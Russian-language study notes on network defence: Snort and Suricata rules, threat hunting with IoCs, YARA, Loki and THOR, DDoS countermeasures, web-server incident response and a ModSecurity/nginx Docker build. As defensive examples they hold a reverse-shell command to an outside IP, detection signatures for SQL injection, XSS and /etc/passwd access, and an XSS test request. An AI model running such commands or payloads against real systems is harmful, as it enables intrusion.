Snort — IDS/IPS с открытым исходным кодом. Метод обнаружения атак — сигнатурный анализ трафика. Поддерживает обнаружение атак на различных уровнях сети, включая IP, TCP, UDP, ICMP, и другие протоколы.

Примеры правил Snort
Пример 1: Правило обнаруживает попытки SQL-инъекций в URL с использованием одинарной кавычки (%27).

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection Attempt";
flow:to_server,established; content:"%27"; classtype:web-application-attack; sid:1;)

Пример 2: Правило обнаруживает попытки доступа к файлу /etc/passwd в сетевом трафике.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Attempt to access /etc/passwd";
content:"/etc/passwd"; classtype:attempted-recon; sid:2;)

Пример 3: Правило обнаруживает попытки XSS-атак с использованием встроенного скрипта в теле HTTP-запроса.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"XSS Attack Attempt";
flow:to_server,established; content:"<script>"; classtype:web-application-attack; sid:3;)

Пример 4: Правило обнаруживает попытки загрузки файлов с подозрительным содержимым, начинающимся с сигнатуры MZ, что может указывать на исполняемый файл. 

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential Malicious File Download"; flow:to_client,established; file_data; content:"MZ";
isdataat:!1,relative; classtype:trojan-activity; sid:4;)

Suricata

Suricata - инструмент сетевой безопасности с открытым исходным кодом, который является средствами IDS/IPS и предоставляет мониторинг сетевой активности. Suricata использует сигнатурный анализ для выявления атак в трафике. Сигнатурный анализ основывается на заранее определенных сигнатурах (правилах), описывающих известные атаки и угрозы, IDS/IPS сверяет содержимое пакета на наличие паттернов, определенных в сигнатуре, и срабатывает в случае совпадения с этим паттерном.

Suricata считается логическим продолжением Snort.

Синтаксис правил Suricata

action proto src_ip src_port direction dst_ip dst_port (options; content; classtype; sid; rev; msg;)
                  

Примеры правил Suricata

Пример 1:

alert tcp any any -> $HOME_NET any (msg:"Port Scan Detected"; flags:S; threshold: type both, track by_src, count 5, seconds 60;)
                  

Правило обнаруживает сканирование:

• flags:S - правило находит в трафике пакеты TCP SYN
• track by_src, count 5, seconds 60 - срабатывает при превышении порогового значения в 5 пакетов от одного источника за 60 секунд

Пример 2:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET USER_AGENTS Suspicious User-Agent (hi)";
flow:established,to_server; http.header; content:"User-Agent|3a 20|hi|0d 0a|";
nocase; classtype:trojan-activity; sid:2018381;
rev:4; metadata:affected_product Any, attack_target Client_Endpoint, created_at 2014_04_10,
deployment Perimeter, former_category HUNTING, signature_severity Major, tag User_Agent, updated_at 2020_04_29;)
                  

Правило обнаруживает подозрительный User-Agent "hi" в HTTP-трафике.

Пример 3:

alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE Gimmiv Infection Ping Outbound"; icode:0; itype:8; dsize:20;
content:"abcde12345fghij6789"; reference:url,doc.emergingthreats.net/2008726;
classtype:trojan-activity; sid:2008726; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
                  

Правило обнаруживает троян Gimmiv в ICMP-трафике по строке abcde12345fghij6789.

Пример 4:

alert dns any any -> $HOME_NET any (msg:"ET ATTACK_RESPONSE PowerShell String Base64 Encoded Text.Encoding (ZXh0LkVuY29k) in DNS TXT Reponse"; content:!"v=DKIM";
 content:"|00 00 10 00 01 c0 0c 00 10 00 01|"; content:"ZXh0LkVuY29k"; distance:0; fast_pattern; reference:url,github.com/no0be/DNSlivery; classtype:bad-unknown; sid:2043164;
 rev:2; metadata:attack_target Client_Endpoint, created_at 2023_01_03, deployment Perimeter, former_category ATTACK_RESPONSE, performance_impact Low, signature_severity Major, updated_at 2023_01_24;)
                  

Правило обнаруживает закодированную в base64 cтроку PowerShell в ответе DNS TXT.

Пример 5:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential Malicious File Download"; flow:to_client,established; file_data; content:"MZ";
 isdataat:!1,relative; classtype:trojan-activity; sid:4;)
                  

Правило обнаруживает попытки загрузки файлов с подозрительным содержимым, начинающимся с сигнатуры MZ, что может указывать на исполняемый файл.

Группы хостов

Suricata и Snort, используют группы хостов для определения, какие узлы сети следует рассматривать в контексте правил. Группы хостов определяются администраторами IDS/IPS.

Рассмотрим некоторые группы:

$HOME_NET - обозначает внутреннюю сеть, которую вы хотите защитить. Это может включать в себя все внутренние IP-адреса и сети организации.
$EXTERNAL_NET - обозначает внешнюю сеть или сети, которые считаются внешними для вашей инфраструктуры. Это может включать в себя весь интернет или определенные сетевые диапазоны, обычно в EXTERNAL_NET берутся все хосты, которые не включены в HOME_NET, то есть $EXTERNAL_NET = !($HOME_NET)
$DNS_SERVERS - определяет серверы DNS
$DC_SERVERS - контроллеры домена
$SMTP_SERVERS - серверы электронной почты
$HTTP_SERVERS - веб-серверы и т.д.

Сравнение Suricata и Snort

Классификация угроз

Threat Hunting — это проактивный поиск угроз, вредоносной деятельности в компьютерных сетях. 

Цель - обнаружении кибератак, которые не могут быть выявлены с помощью традиционных методов защиты (брандмауэры, антивирусные программы). Для этого проводится ручной или автоматизированный поиск и анализ индикаторов компрометации (IoC).

Дополнение к существующей системе защиты. Шаги:

• формулирование гипотезы: предположения о местах, где могут находиться угрозы, используя как внутренние, так и внешние данные
• проверка гипотезы.: гипотезы тестируются путем анализа данных с конечных точек для обнаружения индикаторов компрометации, связанных с новыми вредоносными программами.

Если гипотеза подтверждается, нужно принять меры. Полученная информация также может быть использована для формулирования новых гипотез и улучшения системы защиты, например, для обновления правил фильтрации трафика.

Hunting Maturity Model (HMM - «модель зрелости активного поиска угроз») — это система оценки готовности организации к активному поиску угроз. Существует пять уровней зрелости компании в HMM:

• Начальный уровень: организация полагается в основном на традиционные системы безопасности и собирает минимальное количество информации о ключевых элементах IT-инфраструктуры.
• Минимальный уровень: аналитики регулярно собирают информацию из IT-инфраструктуры и используют данные киберразведки.
• Процедурный уровень: организация использует стандартные процедуры активного поиска угроз, собирает и анализирует большой объем данных, но не разрабатывает собственные процедуры поиска угроз.
• Инновационный уровень: специалисты собирают и анализируют большой объем данных, разрабатывают собственные методы поиска угроз и регулярно их применяют.
• Передовой уровень: специалисты не только разрабатывают методы поиска и анализа угроз, но и автоматизируют их. Благодаря этому выявляется больше угроз, и аналитики могут сосредоточиться на совершенствовании системы обнаружения и защиты организации в целом.

Индикатор компрометации (IoC) – активность или вредоносный объект, обнаруженный в сети или на конечной точке. Возможно идентифицировать индикаторы и улучшить возможности по обнаружению будущих атак вдобавок к используемым корреляционным правилам. Разные типы индикаторов имеют разный срок “жизни” и разный уровень надежности.

Основные типы индикаторов компрометации с показателем надежности:

• IP-адреса - низкий уровень надежности, могут быть ложноположительными, если на одном IP-адресе находится более одного домена.
• Hash (SHA1, SHA256, MD5) - высокий уровень надежности, но злоумышленник может легко внести небольшое изменение в файл для изменения хэш-суммы инструмента для атаки или полезной нагрузки.
• Domain - высокий уровень надежности.
• URL-адреса - высокий уровень надежности.
• Filename (утилиты, библиотеки) - редко используются ввиду низкого уровня ненадежности, но могут быть полезными при поиске скомпрометированных устройств по названиям специфичных файлов в рамках одного домена. 

Ресурсы, где можно найти открытые базы индикаторов компрометации:

• https://otx.alienvault.com/
• https://exchange.xforce.ibmcloud.com/
• https://www.dan.me.uk/tornodes
• https://www.abuseipdb.com/
• https://urlhaus.abuse.ch/browse/
• https://opentip.kaspersky.com/ 

Инструменты для поиска по IOCs

• Loki;
• THOR;
• YARA;
• EDR решения.

Минус Loki, THOR, YARA - нет централизованного управления. Для распространения утилит по инфраструктуре необходимо будет воспользоваться групповыми политиками (GPO), System Center Configuration Manager(SCCM), Ansible, или с помощью антивирусного решения. 

Loki 
Это простой IOC и YARA сканнер, который отлично подходит для поиска следов взлома. Loki предоставляет нам четыре способа выявления взлома:

• имена файлов (соответствие регулярному выражению полного пути файла);
• проверка в соответствии с правилами Yara (поиск на соответствие сигнатурам Yara по содержимому файлов и памяти процессов);
• проверка хешей (сравнение просканированных файлов с хешами (MD5, SHA-1, SHA-256) известных вредоносных файлов);
• проверка обратной связи C2 (сравнивает конечные точки технологического соединения с C2 IOC).
  

Дополнительные проверки:

• проверка файловой системы Regin (через --reginfs);
• проверка аномалий системных и пользовательских процессов;
• сканирование распакованных SWF;
• проверка дампа SAM;
• проверка DoublePulsar — попытка выявить бэкдор DoublePulsar, слушающий порты 445/tcp и 3389/tcp.
  

Типовыми признаками (Indicators of Compromise) компроментации:

• появление на компьютере malware (вирусов, бэкдоров, троянов, кейлоггеров, крипторов, майнеров и так далее), а также хакерских утилит (например, для исследования сети, эксплуатации уязвимостей, сбора учетных данных). Loki имеет свою базу правил для выявления известных вредоносных объектов и функцию выявления аномалий в расположении файлов с системными названиями;
• появление неизвестных новых исполняемых и других файлов, даже если они не детектируются антивирусным движком как malware-код;
• аномальная сетевая активность (подключение к удаленным хостам, открытие для прослушивания портов неизвестными программами и прочее);
• аномальная активность на дисковых устройствах (I/O) и повышенное потребление ресурсов системы (CPU, RAM, Swap).
  

THOR

Это сканер IOC и YARA с расширенный функционалом, база более 17 000 сигнатурами YARA, 400 правилам Sigma, многочисленным правилам обнаружения аномалий и тысячам IOC. Так же есть бесплатная, но с ограниченными функциями версия THOR Lite.

Дополнительный функции THOR:

широкая кроссплатформенность с поддержкой Windows, Linux, macOS и AIX;
функция THOR Remote позволяет сканировать несколько конечных систем Windows с одной привилегированной рабочей станции;
поддерживает SIGMA. SIGMA — это унифицированный формат описания правил детектирования, основанных на данных из логов;
поддерживает функцию анализа реестра;
модуль для анализа SHIM Cache, который проверяет содержимое AppCompatCache в системах Windows. Этот модуль позволяет обнаруживать вредоносные или подозрительные записи программ, давно удаленных злоумышленниками;
анализатор именованных каналов(pipe), мьютексов, журналов событий
Комната на TryHackMe для знакомства с THOR Lite

YARA

Это опен­сор­сный инс­тру­мент, который помога­ет иссле­дова­телям искать и клас­сифици­ровать вре­донос­ные сем­плы и даже про­водить Threat Hunting. Ути­лита выпол­няет сиг­натур­ный ана­лиз на осно­ве фор­маль­ных YARA-опи­саний (пра­вил). В них содер­жатся инди­като­ры ком­про­мета­ции для раз­ных типов вре­донос­ного ПО.

Фиш­ка в том, что делать пра­вила лег­ко и не занима­ет мно­го вре­мени. Имен­но поэто­му YARA исполь­зуют в AlienVault, Avast, ESET, FireEye, Group-IB, Kaspersky, Trend Micro, Virus Total, x64dbg... В общем, поч­ти все, кто име­ет дело с ана­лизом вре­донос­ного ПО.

YARA-пра­вила могут обра­баты­вать не толь­ко исполня­емые фай­лы, но и докумен­ты, биб­лиоте­ки, драй­веры — все что угод­но. Ими же мож­но ска­ниро­вать сетевой тра­фик, хра­нили­ща дан­ных, дам­пы памяти. Эти пра­вила мож­но вклю­чать в дру­гие инс­тру­мен­ты, такие как SIEM, анти­фишинг, IDS, песоч­ницы.

Инструмент YARA и YARA-правила

Структура правил

Обыч­но пра­вила хра­нят­ся в тек­сто­вом фор­мате фай­ла с расширением .yar и сос­тоят из двух сек­ций:

• Сек­ции опре­деле­ний (strings) — содер­жит харак­терные для мал­вари кон­стан­ты, хеши, HEX-фраг­менты, ссыл­ки, стро­ки.
• Сек­ции усло­вия (condition) — содер­жит усло­вия, по которым при­нима­ются решения отно­ситель­но ана­лизи­руемо­го фай­ла.

rule SomeMalwareName
{
   meta:
      author = "AuthorName"

   strings:
      …

   condition:
      …
}
                  

Пример отображения секций

Применения YARA

Ми­нималь­но необ­ходимые сек­ции — это наз­вание пра­вила и его усло­вия. Для примера напишем простое правило, в котором будем детек­тировать объ­екты толь­ко по их imphash:

import "pe"

rule MyLittleAgentTeslaRuleDetect 
{
   condition:
      pe.imphash() == "b21a7468eedc66a1ef417421057d3157" or
      pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744"
}
                  

Сох­раним файл как AT.yar и запус­тим на дирек­тории с сем­пла­ми Agent Tesla. Пос­мотрим на резуль­тат и убе­дим­ся, что пра­вило отра­бота­ло на всех пред­ста­вите­лях Agent Tesla:

Ре­зуль­тат — все из всех.

Пра­вила YARA под­держи­вают импорт полез­ных модулей, соответственно, мож­но написать свои модули. Ниже представлены наибо­лее час­то исполь­зуемые:

• pe — фун­кции, нуж­ные при работе с объ­екта­ми Portable Executable, нап­ример: кон­троль­ная сум­ма imphash, мет­ка вре­мени соз­дания, рас­положе­ние сек­ций;
• hash — рас­чет кон­троль­ных сумм и крип­тогра­фичес­ких хешей;
• math — матема­тичес­кие под­сче­ты, нап­ример: сред­нее ариф­метичес­кое или энтро­пия.

С пол­ным спи­ском модулей можно ознакомиться в офи­циаль­ной докумен­тации по YARA.

Создание правил

В опци­ональ­ной сек­ции опре­деле­ний мож­но использовать мас­ки (wildcard, подобия регуляр­ных выраже­ний). Таким образом, для шес­тнад­цатерич­ных строк воз­можны следующие мас­ки:

• сим­вол ? — наличие любого бай­та на мес­те это­го сим­вола;
• ди­апа­зоны ([4-6] — от 4 до 6 раз­личных бай­тов);
• аль­тер­нативы (логичес­кое ИЛИ — |).

Рас­смот­рим еще один при­мер с нес­коль­кими пра­вила­ми и увидим раз­нооб­разие воз­можнос­тей детек­тирова­ния YARA:

import "hash"

rule RUFUS_found 
{
   strings:
      $HEX_string = { E0 38 D2 21 32 4D 1B C1 79 EC 00 70 76 F5 62 B6 }

   condition:
      $HEX_string and hash.md5(0, filesize) == "d35936d329ac21ac3b59c525e2054078"
}
                  

Правило RUFUS_found— сра­баты­вает при соблюдении двух секций, если будет обна­ружен ука­зан­ный машин­ный код и сов­падет хеш MD5.

Загрузим на хост rufus-2.17p.exe и за­пус­тим про­вер­ку с нашим пра­вилом MyExe.yar и оце­ним резуль­тат.

По полученному результату видно, что YARA-правило составлено корректно.

Утилиты для автоматической генерации YARA

Для получе­ния пра­вил есть три пути:

• Скачать готовые (офи­циаль­ный репози­торий и агре­гато­ры пра­вил на GitHub).
• Сделать самому (вари­ант для энту­зиас­тов).
• Зас­тавить машину сде­лать их самос­тоятель­но. В этом слу­чае подой­дут раз­ные генера­торы, нап­ример: yabin, YaYaGen, yarGen, BASS.

Для генера­ции пра­вил они находят уни­каль­ные стро­ки во фраг­ментах вре­доно­сов. Но надо понимать, что это не самый надеж­ный спо­соб, поэтому правила обязательно нужно проверять и корректировать.

Практический пример Threat Hunting

Threat Hunting начинается с построения гипотезы, возьмем гипотезу способов загрузки с зараженного хоста эксплоита, хакерской утилиты или любой другой полезной нагрузки для закрепления или исполнения в системе. В нашей ситуации так же события не направляются в SIEM систему из-за ограничения лицензии в объеме коррелируемых событий, поэтому поиск будем производить в журналах событий самого хоста.

В сети интернет есть ресурс GTFOBins, где описаны встроенные в систему утилиты/команды, которые могут использоваться для двойного назначения, как для выполнения специальных функций свойственных для данных утилит/команд, так и в нашем случае для загрузки в систему.

Самые популярные утилиты для загрузки в систему полезной нагрузки — это curl, wget, ftp,

Возьмем их для начала и выполним поиск по журналу событий auditd с помощью команды grep.

Используем в команде ключ -i , который указывает на регистронезависимый поиск.

Обратные слеши (\) перед оператором чередования (|) используется для экранирования оператора чередования.

Может к счастью, а может и нет, но наш поиск не выдает результатов.

Продолжаем поиск. Проверим следующий список утилит известной для нас командой grep состоящий из scp, smbclient, lwp-download.

На картинке ниже можно увидеть 3 типа события SYSCALL, EXECVE, PATH, которые фиксируют активность c утилитой scp. Если посмотреть на тип события EXECVE, который логирует исполненную командную строку, то можно увидеть, что с помощью команды scp был загружен файл payload в директорию /tmp.

Гипотезы можно строить различные для выявления угроз, успешные из которых следует преобразовывать в корреляционные правила, но это не всегда возможно, в виду большого количества возможных ложных срабатываний (FP), но в таком случае можно оставить гипотезу как сохраненный поисковый запрос для периодического ручного запуска в SIEM.

Противодействие на периметре

Основные этапы от DDOS

1. Анализ информации (сбор метрик с сетевого оборудования с учетом информация о пострадавших системах).
2. Построение гипотезы о типе атаки и ее цели.
3. Противодействие.

Противодействие для малого бизнеса

Общие рекомендации:

1. Коммуникация с Интернет-провайдером с целью ограничения пропускной полосы для протоколов, подверженным Amplification атакам, например 53 (dns), 11211 (memcache), 123 (ntp)*
2. Восстановить работоспособность офисного сегмента, изменив DNS записи для публикуемых сервисов.
3. Если п.2 не помог, запросить изменение IP адреса на WAN интерфейсе или сменить Интернет-провайдера.
4. Полный или частичный (proxy) перенос сервисов на облачные площадки (SaaS или VPS).*

Специфично для Flood-атак (когда страдает не канал, а сетевое оборудование)

1. Разделение сетевого оборудование на внутреннее и внешнее.*
2. Уменьшение сессионных таймаутов.*
3. Применение вендор-специфик рекомендаций, например MikroTik: документация, презентация.*

Противодействие для среднего бизнеса

Общие рекомендации, отличные от озвученных ранее и для случаев, если они не помогают или не доступны

1. Связаться с поставщиком услуг по защите от DDoS атак.
2. Следовать его рекомендациям по передаче права анонсирования вашей /24 сети от их AS.

L7 DDoS-атака или Нарушение работы веб-приложения

В учебном курсе "Профессия - Белый хакер" в разделе 5 "Уровень 2.1. Взлом веб-приложений" описаны основные и часто встречаемые угрозы. Кроме этого существуют различные DDoS атаки, которые нацеленные на уровень приложения. Это может быть и разновидность Slowloris-атак, рассчитанная на медленную коммуникацию по протоколу HTTP после установления ТСР-соединения. Так и спам легитимных запросов, но которые генерят большую нагрузку на сам сервер или бэкенд, например поиск по сайту.

Web Application Firewall

Для противостояния таким угрозам, желательно иметь Web Application Firewall (WAF). В качестве довольно быстрого в развертывании и бесплатного решения мы можем использовать:

• CloudFlare
• ModSecurity (Nginx и Apache2)
• open-appsec (Nginx)

ModSecurity - WAF с открытым исходным кодом, имеющий модули для web серверов на базе apache2 и nginx (End-of-Live 2024), основан на сигнатурном анализе.

CloudFlare - облачный поставщик услуг, бесплатно предоставляющий защиту от DDoS атак и распространенных атак на веб приложение. Так же в бесплатной версии предоставляет возможность создать 10 собственных блокирующих правил. Вероятно, не подойдет для бизнесов, имеющих ограничения на обработку персональных данных или другой чувствительной информации.

open-appsec - новый перспективный ML WAF, как с возможностью локальной установки и управления, так и подключения к облачной Web консоли управления. Имеет как платную, так и бесплатную версии. Последняя сравнима с бесплатным функционалом CloudFlare.

Альтернатива WAF

В случаях, когда WAF по каким-то причинам недоступен, у нас все еще остается возможность:

• Используемые конфигурационные возможности Web сервера
• Приминять Rate Limit правила и в автоматическом режиме банить IP
• iptables

Apache2 - имеет два конфигурируемых параметра: Timeout и KeepAliveTimeout, которые я рекомендовал бы выставить в значения 60 и 5 соответственно, 300 и 15 - значения по умолчанию. Так же у этого сервиса имеется модуль mod_ratelimit, который может контролировать кол-во входящих запросов с IP адреса.

fail2ban - приложение, которые в автоматическом режиме модифицирует правила на локальном firewall, блокируя IP адрес на определенное время. Решение принимается на основе лог файлов аппликейшн. Например, sshd залогировал 5 неуспешных попыток входа с одного ip адреса - fail2ban заблокирует этому IP вход на порт tcp/22 на 10 минут. Аналогичным образом могут отслеживаться попытки входа в админ панели или аккаунты, перечисление каталогов (большое количество ошибок 404) и даже попытки эксплуатаций SQL injection (+SELECT+) или Path Traversal (../../).

iptables - уровень фантастики, но когда ничего другого не остается:

iptables -A INPUT -p tcp --dport 80 -m string --algo kmp --string "+SELECT+" -j DROP
                  

Обратите внимание, что этот метод будет работать только с расшифрованным HTTPS, а значит расшифровка SSL должна проходить заранее.

Веб-приложение взломано

Например, среди процессов: 

bash -i >& /dev/tcp/12.23.34.45/10080 0>&1

Cледует действовать быстро, но аккуратно. Быстро, потому что до следующего этапа вас может отделять всего несколько часов.

Следующими этапами атаки на веб-сайт могут быть:

• Дамп базы данных с последующей продажей, а также информации об учетных данных пользователей портала;
• Деструктивные действия, удаление БД и кода приложения;
• Эскалация привилегий до root'а;
• Pivoting, продвижение во внутреннюю сеть.

Однако активные блокирующие действия (WAF, iptables или еще что-то) — показатель обнаружения. До этого момента злоумышленник мог рассчитывать на отсутствие контроля за работой сайта, то дальше будет действовать менее заметно, что усложнит анализ.

На этом этапе есть преимущество — мы root, можем читать логи, перенастроить на более детальное логирование всего, что происходит. Расширенные логи нам могут дать:

• Запись трафика. Как указывалось ранее, если есть возможность записи HTTP трафика после снятия SSL шифрования.
• Логирование POST запросов. По дефолту payload POST запросов не логируется, т.к. может содержать чувствительные данные вроде паролей, да и места они занимают крайне много.
• pspy . Можно отследить процессы, команды, запускаемые на системе. 
  

Цель сбора логирование:

• понять, как исполняет команды на системе
• построение гипотезы о том, как реализовано RCE.
• закрепление информации версии веб-приложения и его модулей. Пригодиться нам на последнем этапе.

Поиск закрепления

Перед переходу к активному противодействию нужно проверить, не успел ли атакующий закрепиться на системе. Распространенные методы закрепления:

• собственный SSH-ключ в ~/.ssh/authorized_keys для пользователя, от которого запущен веб сервис;
• модификация Cron задач;
• веб шел 
  

Пример поиска authorized_keys в домашних каталогах, измененные за последние 24 часа:

awk -F: '{print $1,$6}' /etc/passwd | while read user home; do find "$home" -maxdepth 2 -name authorized_keys -mtime -1 -exec stat -c "%U %y %n" {} + 2>/dev/null; done

Пример созданных Cron-задач для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done

Проверка модификации файлов реализовывается через заранее установленный мониторинг изменений либо через плагины CMS. В случае недоступности плагинов или мониторинга, стоит восстановить код из бэкапа.

Противодействие

Собрав информацию, начинаем действовать, но не отключаем сбор информации, так как еще предстоит анализировать следующие шаги злоумышленника:

1. Удалить обнаруженные методы закрепления.
2. Удалить все процессы, запущенные от веб сервиса (если они есть).
3. Ограничить серверу выход в интернет (заблокировать возможность инициировать исходящие соединения в роли клиента), оставив при этом возможность клиентам снаружи подключаться к серверу.
4. Ограничить SSH-подключение, оставив разрешенным подключение только с IP адресов, принадлежащих вам.
5. Если способов обнаружения веб шелов на первом шаге вам не доступен, восстановиться из бэкапа.
6. Изменить пароль администратора веб приложения.
7. Установить последние доступные обновления используемого веб приложения.

Проделанные шаги  означают, что откатились в состояние 0, но не решили проблему. Первоначальная уязвимость неизвестна, а установив обновления, можно остаться без доказательств в виде расширенных логов, которые мы сможем собрать в цепочку.

Однако, если атакующий не сменит IP адрес или не прекратит активность на ближайшие часы и попробует повторить взлом, при помощи расширенных логов можно сделать предположение об уязвимости.

Кроме того, ранее мы зафиксировали используемые версии веб приложения и его модулей и можем проверить, какие уязвимости в них имеются, например через https://snyk.io/. 

Атакующий получил ROOT-доступ

Это уже очень сложная ситуация, т.к. способов закрепиться у злоумышленника имеется огромное множество. Это может быть и подмена исполняемых файлов в сервисах, например /usr/sbin/apache2. Подменив sshd-файл, атакующий может, например, начать логировать пароли приходящих пользователей. Так что, для полноценной проверки стоит обратиться к коммерческим продуктам, которые могут просканировать всю файловую систему и сравнить хэш суммы файлов с эталонными.

Но в целом, алгоритм должен быть примерно такой:

• Выполнение всех тех же шагов, что описаны для непривилегированного пользователя
• Развертывание схожей операционной системы и сверка всех файлов по хэшам
• (Опционально) в качестве дополнительной меры к п.2 провести сканирование коммерческими средствами
• Запланировать восстановление из бэкапа / развертывание нового сервера

ModSecurity

Общая информация

Сайт проекта: https://modsecurity.org/

Анализ логов удобнее делать через AuditConsole. Однако похоже проект сдох. Возможности:

• Централизация событий с помощью нескольких удаленных установок ModSecurity
• Хранение и извлечение событий
• Поддержка нескольких учетных записей пользователей и различных представлений
• Тегирование событий
• Правила событий, которые выполняются в консоли

Принципы modsecurity

• Гибкость: мощный язык правил.
• Пассивность: взаимодействие только по требованию
• Предсказуемость
• Качество выше количества
• Функция "очистка трафика" бессмысленна

Два варианта работы: встроенный и reverse proxy. Первый вариант логичнее для односерверных проектов. Второй желательно запускать в режиме кластера прокси, но упрощает процесс управления.

Компоненты

Жизненный цикл транзакции. Транзакция последовательно проходит 5 этапов:

Пример запроса/ответа и связи с жизненным циклом транзакции. Простой запрос и ответ, правил нет.

Процесс в контексте логов (похоже логи добавляются сверху):

В случае загрузки файлов на сервер, файл буферизируется и затем удаляется. Маленькие файлы сохраняются в ОП, при превышении записываются на диск. Важно при настройке.

Запуск Docker

Оказалось несколько сложнее. ИИ не дает полного ответа, нужно отстраивать по частям. Есть разные образы nginx-modsecurity.

Структура проекта: 

nginx-modsecurity/
├── Dockerfile
├── docker-compose.yml
├── nginx.conf
├── modsecurity.conf
├── nginx-logs/
├── modsec-logs/
└── html/
    └── index.html

Dockerfile

# ---------- СТАДИЯ 1: Сборка ModSecurity и nginx ----------
FROM ubuntu:22.04 AS builder

ENV DEBIAN_FRONTEND=noninteractive
ENV NGINX_VERSION=1.26.2

WORKDIR /opt

# Устанавливаем зависимости
RUN apt-get update && apt-get install -y \
    build-essential git automake autoconf libtool pkg-config \
    libxml2 libxml2-dev libyajl-dev libssl-dev zlib1g zlib1g-dev \
    libgeoip-dev liblmdb-dev libpcre2-dev \
    wget curl ca-certificates && \
    rm -rf /var/lib/apt/lists/*

# ---------- Сборка libmodsecurity ----------
RUN git clone --depth 1 -b v3/master https://github.com/SpiderLabs/ModSecurity && \
    cd ModSecurity && \
    git submodule init && git submodule update && \
    ./build.sh && ./configure && make -j$(nproc) && make install

# ---------- Сборка nginx + ModSecurity connector ----------
RUN wget http://nginx.org/download/nginx-${NGINX_VERSION}.tar.gz && \
    tar xzf nginx-${NGINX_VERSION}.tar.gz && \
    git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git && \
    cd nginx-${NGINX_VERSION} && \
    ./configure --prefix=/usr/local/nginx \
        --with-compat \
        --add-dynamic-module=../ModSecurity-nginx && \
    make modules && make -j$(nproc) && make install

# ---------- СТАДИЯ 2: Финальный образ ----------
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive
ENV NGINX_VERSION=1.26.2
#WORKDIR /etc/nginx

RUN apt-get update && apt-get install -y \
    libyajl2 libxml2 libgeoip1 liblmdb0 ca-certificates && \
    rm -rf /var/lib/apt/lists/*

# Копируем всё нужное из builder
COPY --from=builder /usr/local/modsecurity/ /usr/local/modsecurity/
COPY --from=builder /usr/local/nginx /usr/local/nginx
COPY --from=builder /opt/nginx-${NGINX_VERSION}/objs/ngx_http_modsecurity_module.so /usr/local/nginx/modules/

ENV PATH="/usr/local/nginx/sbin:${PATH}"

# Создаем необходимые директории
RUN mkdir -p /var/log/modsecurity \
    && mkdir -p /var/log/nginx \
    && mkdir -p /etc/modsecurity.d \
    && mkdir -p /usr/local/nginx/conf

# Копируем конфигурационные файлы, все равно потом перезапишем в compose
COPY nginx.conf /usr/local/nginx/conf/nginx.conf
COPY modsecurity.conf /etc/modsecurity.d/modsecurity.conf
COPY html /usr/share/nginx/html

EXPOSE 80

CMD ["nginx", "-g", "daemon off;"]

docker-compose.yml 

services:
  nginx-modsecurity:
    build: .
    container_name: nginx-modsecurity-ubnt
    ports:
      - "80:80"
    volumes:
      - ./html:/usr/local/nginx/html
      - ./nginx.conf:/usr/local/nginx/conf/nginx.conf
      - ./nginx-logs:/usr/local/nginx/logs
      - ./modsec-logs:/var/log/modsecurity
    restart: unless-stopped

nginx.conf 

load_module /usr/local/nginx/modules/ngx_http_modsecurity_module.so;

user  www-data;
worker_processes  auto;

events {
    worker_connections 1024;
}

http {
    include /usr/local/nginx/conf/mime.types;
    default_type application/octet-stream;

    # Директивы для логов (должны быть ДО server блоков)
    error_log /var/log/nginx/error.log;
    access_log /var/log/nginx/access.log;

    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/modsecurity.conf;

    server {
        listen 80;
        server_name _;

        location / {
            root /usr/share/nginx/html;
            index index.html;
            modsecurity on;
        }

        location /status {
            access_log off;
            return 200 "Nginx on Ubuntu is working!\n";
            add_header Content-Type text/plain;
        }

       location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
            root /usr/share/nginx/html;
            modsecurity off;
            expires 1y;
            add_header Cache-Control "public, immutable";
        }
    }
}

index.html 

<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>Nginx + ModSecurity</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
    </style>
</head>
<body>
    <h1>Nginx работает!</h1>

    <div>
        <h3>Тестовые ссылки:</h3>
        <ul>
            <li><a href="/">Нормальный запрос</a></li>
            <li><a href="/?test=malicious">Тестовая блокировка (сработает правило 1001)</a></li>
            <li><a href="/status">Статус страница</a></li>
        </ul>
    </div>
</body>
</html>

Запуск и тестирование 

# Запустите контейнер
docker compose up --build -d

# Проверьте логи
docker compose logs -f

# Тестовые запросы
curl http://localhost/
curl "http://localhost/?test=<script>alert('xss')</script>"

modsecurity.conf в разделе Настройка modescurity

Структура файла настроек

Файл настройки разбит на следующие блоки (логически)

• Общие настройки
• Настройки аудита
• Дополнительные настройки
• Правила

Можно распределить настройки по файлам, указав в основном файле ссылки на дополнительные файлы.

Общие настройки

SecRuleEngine On

SecDefaultAction "phase:1,log,auditlog,pass"

SecRequestBodyAccess On

SecRequestBodyLimit 134217728

SecResponseBodyAccess On

SecResponseBodyMimeType text/plain text/html

SecDataDir /tmp/

SecTmpDir /tmp/

SecUploadFileMode 0600

Настройки логгирования

SecAuditLogRelevantStatus "^(?:5|4(?!04))"

SecAuditLogParts ABIJEFHZ

Дополнительные настройки

SecArgumentSeparator &

Пример минимального файла без правил.

# Basic Configuration
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess Off

# Audit Log Settings
SecAuditEngine On
SecAuditLogType Serial
SecAuditLog /var/log/modsecurity/audit.log

# Debug Settings
SecDebugLog /var/log/modsecurity/debug.log
SecDebugLogLevel 9

# Temporary directories
SecTmpDir /tmp/
SecDataDir /tmp/

Настройка отладки

Для nginx нет возможности разделить настройку в стиле тегов в пределах файла конфигурации modsecurity. Можно разделить только на уровне web сервера. 

location /myapp/ {
        modsecurity on;
        modsecurity_rules_file /usr/local/nginx/modsecurity/modsecurity_debug.conf;
        root /usr/local/nginx/html;
    }

